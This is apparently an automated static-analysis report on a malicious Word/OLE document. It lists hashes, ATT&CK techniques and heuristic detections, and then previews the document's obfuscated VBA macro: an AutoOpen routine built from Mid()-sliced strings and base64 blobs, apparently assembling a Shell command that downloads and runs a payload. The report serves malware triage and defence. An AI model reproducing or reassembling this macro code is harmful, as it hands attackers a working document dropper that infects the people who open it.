Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 c02c7b1e8d1cde94…

MALICIOUS

Office (OLE)

81.4 KB First seen: 2017-10-28
MD5: f03476bdd9e46ed2a2166afc81afd5ee SHA-1: 5d068817db9bcc9273ab27a6fabfda05b8ea05e9 SHA-256: c02c7b1e8d1cde94fea228ea945b0b2dd9463c7becb8dcd93a23a3939370f23f
244 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1059 Command and Scripting Interpreter T1204.002 Malicious File

The sample is a malicious Office document containing a VBA macro. The macro utilizes a Shell() call, indicating an attempt to execute external commands. This is further supported by the ClamAV detection for obfuscated macros and the presence of a VBA macro file named 'macros.bas'. The primary function of the macro appears to be executing a command shell, likely to download and run a secondary payload.

Heuristics 8

  • ClamAV: Doc.Macro.Obfuscation-6355576-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Macro.Obfuscation-6355576-0
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 46587 bytes
SHA-256: 69b7efdad9825c0d9aae5507615519a31691158a78c944c4561dd8fbc91e4b48
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 94 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "Module1"
Function KSuwtYvUm()
mpqfhEzz = "CMD9UKOGIV7TZS4ChaUtTYQzSkNwJJdhpuMEfkTuipcjrvzrAiXOJjzuoCiwEqwBjOfjNFXwGaLiwjHXlVzalOYIuSPcGVprtbAdQPiuLbHiVVwIvHMisVPUqWovquplkUlVjiGWrDPKGqnZTHhwIHwXLfmtaiEQlWzBkdcRAqrpGFNzjPbjNrcdVNJArNvIwwYksmoqiQwSPIRFRmJLHVDuuTfWTbZmviqHjdHzakEzsJNMwEiEEkBALVS5PO4R"
TSaWIKAqYt = Mid(mpqfhEzz, 16, 232)
jiWXR = TSaWIKAqYt
MZzHvP = "M54QYRJDXTHDifOGdTOskRjWQUZAEQrbVlTDjjQmobTjwGjOhnvcGutRkkhbzXbDcfizMLWwCcDJzwXJlLSRUOVarBSzwppQzPHSYmBWRzadrkUnMYqmEKiNKIGLtWzMnnJhoFlwJwAVorjGhimazCLpjuHOUZ54"
TafdiuHT = Mid(MZzHvP, 10, 146)
OZSvsVz = TafdiuHT
oSqbULuOP = "EP6QMVVJWKAEJ1K7A7G98V1CYqWHIcMOUOkwilDrvBUYfQNEMcWvHEtILUvkYkWAwnwCdzYiRqFIbJpIdRvjGQHPVclNqSSKfTbsUKbNDodRzkjBfmHGpquffjhBOKrwXudIizoSqhcRmqQkvjiELMVpYvMndaztwftEHYTizoQINctpQzFicnnLZojmlBpPijVHwLcWPzHWwMbwCWWfUURJrifSphzvzAZiHlsFUjPcfROMNnjOiJuORLQOfKhiCLXvnwoRdRLlEodaTTFBziRpFKMwViZKH6G"
jLhMWpV = Mid(oSqbULuOP, 25, 264)
DMzTHfHRAZB = jLhMWpV
KVMiz = "UXHOA27IX1QjqduBNqDbmwHnrcIJNZTYzdOkXNkbUAuzUSTTGTaAffvffnHaDfTVorjMOKiAGcGlEKSYIoDtzTtUiiEjFJYphZIdmHEvpZtDYJbVUiSObZVVwMifFuvzERDiBomBjIEZZpvYHjPWqJNIDnfadZqvivzHFwTfwRiTUwvIQFXVfYGuDvaNJMXKRJudqnTLQjaZiunHrWJXGE7EVKBC9G92NAHT3U"
YRfPOwoD = Mid(KVMiz, 11, 202)
pGoXdnRTrWj = YRfPOwoD
oqPsCUM = "IBUU0VHBDdviqYGSXDqLXhRJZofMkWRFBkGSaOtUiLhNLCniqINBHjmjvmfuYsziLqcFSorIJVdMzEwWBzVbJQwUzZXojwwqLCBVZhPBRErlDZjqoItbWXVvrHIsRDYLZmAzCczThTKFZMRXtjzbFUTohGdRZXkNfjMRZjoLKZuCMPWfqkzlDzFESMPvzjuKjzZsAAwKroQjaRbRjwapXzJhaHwMTtMifjTPpdiqlptPjZiBlzLAFFmknsStBmqwcmJUSUQ3JD442VP4"
FEiTUzv = Mid(oqPsCUM, 10, 249)
OwucVuXaOd = FEiTUzv
uYiwSEUK = "FH528DKLDPojaOMkAoiAGJTUKwojnhwjBqcADPkpYamFCAWUqlifZwIwIzMDVBSWRHfkmLhlEpbjXORFHRD1SKXDFIZYCRA9U7TVRN72O2EBC"
WVwfHBv = Mid(uYiwSEUK, 9, 71)
fVtKZhtz = WVwfHBv
WFMjnzM = "VQY3ZOXAKbUsBwTHChfsDDhTXIQnuUmhfEzbkXbZuhCbAJQXzAcCGTdiWWEYHaWppnMzBsWfFGwVAGSNrsquskaMaPENTDSTLMlNwSWFdzwzUHhQEqjOkczFMU0RZ2JVBH11"
rozAiSt = Mid(WFMjnzM, 9, 112)
JcJTj = rozAiSt
Viiksq = "XHJGEVUMAWmnIMCoiKoVERZWkQvnbrSioJcWDiiPfAvvkRUktKpztvzYHrzMCRlJDDwzjfkwbYpDVdmSvKuQBVotJEPMjWNOPmrjTVBNatVUFwCdEjQrXVHiOFpfQYNFKbojlGzaIjqHAUnNBlICFVquiJRNfWzCjPJiHTszhqjrfAhuRcdiPKAoktEbplumioakKJFhtKVPmzPibWwDsSmVPVtNPQHvvzIrZwkIWvlEpkCliZATprtPBFVpPrScDZToqXFfmojzhhjiSIjqQoFEEtpUbvsidIBQRNvGTVhBKviUXDHPXBZJ9KCTSYUM8HAT"
zpjic = Mid(Viiksq, 8, 297)
srjimhwcW = zpjic
wAWPJXAh = "KV3WMBURAqwMbGTkEiFuBBdzbVhLYZzibzLlpwzvnuYnDYVFjVBEitrQQELA3I121LKI7K8Q"
zOJJuUIJiY = Mid(wAWPJXAh, 9, 51)
OmRSpKzMu = zOJJuUIJiY
Mtzklc = "B6L7BUPGpEDJVFWktUBLBSSdmMFvwhQJHTWnDzJztoolkJpKNqfKscFZEfloOTHHouCBjijtKERNdjtcXviIBFQfOziXOUjZjjzpHnbiJmzoLrvXmIRTlzGidWmmzJfqUrjziDVjUEwPGcTXBKkFDIRS5E6MIF7JLF4HPI5436BHYHWMYPZ"
fhiqHJAHMA = Mid(Mtzklc, 5, 144)
TaKiomT = fhiqHJAHMA
OZSvsVz pGoXdnRTrWj + TaKiomT + fVtKZhtz + JcJTj + srjimhwcW + DMzTHfHRAZB + jiWXR + OwucVuXaOd + OmRSpKzMu
End Function
Function zwpnwIPBU()
YMAJilwdkv = "U6XENQACAALAA5ADgAIAAsACAAMQAwADYALAAxADAAMQAgACwAIAA5ADkALAAxADEANgAgACwAMwAyACwANAA1ACwANgA3ACAALA4C5R4ZXQV0T6A"
GfBjGzSH = Mid(YMAJilwdkv, 7, 94)
kQzrX = GfBjGzSH
dPbaG = "YBRQ72ADcAMAAgACwAIAAxADAANQAsACAAMQAwADgAIAAsACAAMQAwADEALAAgADQAMAAsACAAMwA2ACAALAAxADEANwAsACAAMQAxADQALAAxADAAOAAsACAANAA2ACAALAA4ADQAIAAsADEAMQAxACAALAA4ADMALAAxADEANgAsACAAMQAxADQALAAgADEAMAA1ACwAIAAxADEAMAAsFF4GGV7Q3LOD3IHMKQIKCEOGOH627"
zDIvbZ = Mid(dPbaG, 7, 208)
zcqzmndw = zDIvbZ
nYaJEOZbQ = "138E50N3L39RWDENLPFVNwAgACwAMQAxADAAIAAsACAANAA2ACwAMQAxADUALAAgADEAMAAxACwAIAA0ADcALAAxADIAMQAgACwAIAAxADAANQAsADEAMQA3ACwANwAwACAALAA0ADcAIAAsADQANAAsADEAMAA0ACAALAAxADEANgAsACAAMQAxADYAIAAsACAAMQA3JTGZM0S2P3Z8O"
VRBnbp = Mid(nYaJEOZbQ, 22, 178)
mdpjmbk = VRBnbp
FDwBzqinjMj = "CLRKLAE9DQALAA5ADcAIAAsACAAMQAxADAAIAAsACAAMQAwADAALAAxADEAMQAsACAAMQAwADkAIAAsADUAOQAsACAAMwA2ACwAIAAxADEANwAgACwAMQAxADQ
... (truncated)

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